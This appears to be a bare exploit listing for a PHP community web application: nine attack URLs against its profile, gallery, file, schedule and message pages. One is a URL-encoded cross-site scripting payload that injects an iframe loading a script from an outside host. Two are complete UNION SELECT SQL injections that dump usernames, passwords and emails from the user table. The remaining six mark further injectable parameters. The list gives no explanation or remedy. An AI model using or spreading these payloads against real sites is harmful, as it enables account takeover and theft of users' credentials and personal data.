http://www.example.com/[path]/profile.php?action=show&userid=%22%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%2E%63%6B%65%72%73%2E%6F%72%67%2F%73%63%72%69%70%74%6C%65%74%2E%68%74%6D%6C%3C
http://www.example.com/[path]/profile.php?action=show&saction=moreinfo&userid=-1+UNION+SELECT+1,concat(username,0x3a,password,0x3a,email)+FROM+wgcc_user--
http://www.example.com/[path]/profile.php?action=show&saction=moreinfo&userid=-1+UNION+SELECT+1,concat(username,0x3a,passwort,0x3a,email)+FROM+wgcc_user--
http://www.example.com/[path]/picturegallery.php?action=shownext&bildid=[SQL-STATEMENT]
http://www.example.com/[path]/filebase.php?action=freigeben&id=[SQL-STATEMENT]
http://www.example.com/[path]/schedule.php?action=del&id=[SQL-STATEMENT]
http://www.example.com/[path]/profile.php?action=observe&saction=del&id=[SQL-STATEMENT]
http://www.example.com/[path]/message.php?action=delete&pmid=[SQL-STATEMENT]
http://www.example.com/[path]/message.php?action=showfolder&folderid=[SQL-STATEMENT]